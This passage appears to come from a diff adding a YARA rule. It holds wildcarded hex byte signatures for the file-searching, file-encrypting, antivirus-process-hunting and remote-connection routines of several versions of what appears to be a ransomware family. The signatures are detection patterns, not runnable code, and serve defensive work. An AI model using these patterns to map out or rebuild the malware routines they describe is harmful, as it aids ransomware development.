5B 8B E5 5D C3 + } + $search_antivirus_processes = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A + ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ?? + 89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ?? + ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ?? + 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85 + F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 + 5D C3 + } + $search_antivirus_processes_v2 = { + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? + ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8B F0 6A ?? 89 74 24 ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? C7 03 ?? + ?? ?? ?? 83 FE ?? 74 ?? 53 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4B ?? 33 F6 EB + ?? 8D A4 24 ?? ?? ?? ?? 90 51 FF 74 B4 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 73 ?? 50 + 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 8B 3D ?? ?? + ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 46 8D 4B ?? 83 FE ?? 72 ?? 8B 74 24 ?? 53 56 FF + 15 ?? ?? ?? ?? 8D 4B ?? 85 C0 75 ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? + ?? ?? 56 FF D7 5F 5E 5B 8B E5 5D C3 + } + $find_files_v2_1 = { + 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? + ?? F7 D8 1B C0 40 75 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? + ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 3C 46 89 7D ?? FF D3 8D 85 ?? ?? + ?? ?? 50 56 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0F 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? + 5F 5E 5B 8B E5 5D C3 8B 7D ?? EB ?? 8D 9B ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D3 F6 85 ?? ?? + ?? ?? ?? 74 ?? 83 7D ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75 ?? FF 75 ?? E8 ?? ?? + ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75 + ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 89 45 ?? 8B 47 ?? 6A ?? 89 45 ?? FF 15 ?? ?? ?? ?? 56 8B D8 68 ?? ?? ?? ?? + 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 6A ?? + 53 FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 45 ?? 8B 4D ?? EB ?? 83 BD ?? ?? ?? + ?? ?? 0F 57 C0 66 0F 13 45 ?? 72 ?? 51 FF 75 ?? 8B CB E8 ?? ?? ?? ?? 83 C4 ?? 89 55 + ?? EB ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF 15 ?? ?? ?? + ?? 8B 45 ?? 8B 4D ?? 01 0F 11 47 ?? 8B 45 ?? 3B 47 ?? 77 ?? 72 ?? 8B 45 ?? 3B 07 73 + ?? 8B 45 ?? FF 00 8B 1D ?? ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 + C0 5B 8B E5 5D C3 + } + $crypt_files_v2_1 = { + FF 15 ?? ?? ?? ?? 33 D2 89 44 24 ?? 89 44 24 ?? 8D 0C B7 8D 0C CD ?? ?? ?? ?? 85 C0 + 74 ?? 3B CB 73 ?? 8D 3C 01 89 44 24 ?? 89 7C 24 ?? 8B D1 EB ?? 89 54 24 ?? 8B F8 8B + 4D ?? 8D 34 CD ?? ?? ?? ?? 85 C0 74 ?? 8D 0C 32 89 4C 24 ?? 3B CB 73 ?? 8B 54 24 ?? + 8B CF 89 7C 24 ?? 03 FE 89 7C 24 ?? EB ?? 33 C9 89 4C 24 ?? 8B 74 24 ?? 85 C0 74 ?? + 8D 04 F5 ?? ?? ?? ?? 03 C2 3B C3 72 ?? 33 FF 89 7C 24 ?? 8B 1D ?? ?? ?? ?? 85 C9 0F + 84 ?? ?? ?? ?? 8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68 + ?? ?? ?? ?? 52 FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? + 56 FF 74 24 ?? FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C6 + ?? 03 C6 68 ?? ?? ?? ?? 50 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 C7 + 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 74 24 ?? FF D3 40 85 F6 74 ?? 3B 44 24 ?? 73 ?? + 8D 0C 06 89 44 24 ?? 89 4C 24 ?? 89 74 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3 + 40 85 F6 74 ?? 03 44 24 ?? 3B 44 24 ?? 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33 + F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 8B 7C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? + 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6 + FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? EB ?? 8D 49 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? + 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 8B 1D ?? + ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 56 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 3C 46 57 E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68 + ?? ?? ?? ?? 57 FF D3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? + FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34 47 + FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 + C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? 66 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 58 58 8D 44 24 ?? 50 57 FF + D3 8B 5C 24 ?? 8B 35 ?? ?? ?? ?? 53 FF D6 6A ?? C1 E0 ?? 83 C0 ?? 68 ?? ?? ?? ?? 50 + 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B F8 53 89 7C 24 ?? FF D6 8D 04 C5 ?? ?? ?? ?? + 85 FF 74 ?? 3B 44 24 ?? 72 ?? 33 FF 53 FF D6 8B 0D ?? ?? ?? ?? 8B F0 89 74 24 ?? 85 + C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 6A ?? 68 ?? ?? ?? ?? + 53 FF 15 ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? + 53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 5C 24 ?? 03 F6 8B D6 8B CB E8 ?? + ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? + ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 57 FF D3 + 6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D 48 + ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33 F6 + FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 + 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24 ?? + 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 7C 24 ?? 8D 54 24 ?? 6A ?? 57 8B + CE C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68 + ?? ?? ?? ?? 50 8B 44 24 ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 68 ?? ?? + ?? ?? 6A ?? FF 74 24 ?? FF D3 33 F6 EB ?? 8B 4C 24 ?? 85 C9 74 ?? 8B 45 ?? 89 08 8B + 44 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 + 24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 EB ?? 8B 7C 24 ?? 83 7C 24 ?? ?? + 75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D3 BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? + FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B C6 5E 5B 8B E5 5D C3 + } + $remote_connection_v2_1 = { + 53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45 ?? ?? + ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8 FF D6 + 89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15 ?? ?? + ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 + ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 + 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF 15 ?? + ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83 EC ?? + 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 FF 75 ?? 8B 75 ?? 8D 4D ?? 56 E8 + ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? C7 45 ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33 + FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF + D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C7 5F + 5E 5B 8B E5 5D C3 + } + $search_antivirus_processes_v4_1_2 = { + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ?? + 89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ?? + ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ?? + 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85 + F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 + 5D C3 + } + $find_files_v4_1_2 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 + 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 + ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? + 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ?? + ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? + 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6 + 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? + ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? + ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59 + 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E + 5B 8B E5 5D C3 + } + $crypt_files_v4_1_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 89 4D ?? 33 DB 57 B9 ?? ?? ?? ?? 89 5D ?? 8B F2 E8 + ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 84 + ?? ?? ?? ?? 53 53 6A ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE + ?? 0F 84 ?? ?? ?? ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 51 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 89 5D ?? 89 + 5D ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D + 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D + ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 81 F9 ?? ?? ?? ?? 6A ?? 5A 0F 42 C2 01 8F ?? ?? + ?? ?? 8B 55 ?? 8D 8D ?? ?? ?? ?? 11 9F ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 FF 75 ?? 89 + 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 56 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? 57 56 FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 8B 7D ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 53 8D 45 ?? 50 68 + ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? + ?? ?? 56 FF 15 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 33 C0 8D + 48 ?? 89 4D ?? EB + } + $remote_connection_v4_1_2 = { + 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 + 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? + ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? + 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 + ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF + 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF + 15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B + E5 5D C2 + } + $url_parameters_setup_v4_1_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 15 ?? ?? ?? ?? 33 FF 57 57 57 FF 15 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 57 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? + ?? ?? ?? 83 EC ?? 33 DB 43 53 83 EC ?? 53 51 53 51 53 51 53 51 53 83 EC ?? 53 51 53 + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 50 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF + D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? + ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ?? ?? 03 C0 A3 ?? ?? ?? ?? FF D6 03 C0 8B D0 + E8 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 57 57 68 ?? ?? ?? ?? 57 57 FF 15 ?? ?? ?? ?? + 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 BB ?? ?? ?? ?? 53 + FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? + FF D6 E8 ?? ?? ?? ?? 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? E8 + } + $url_parameters_setup_v4 = { + 55 8B EC 81 EC ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF + 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? 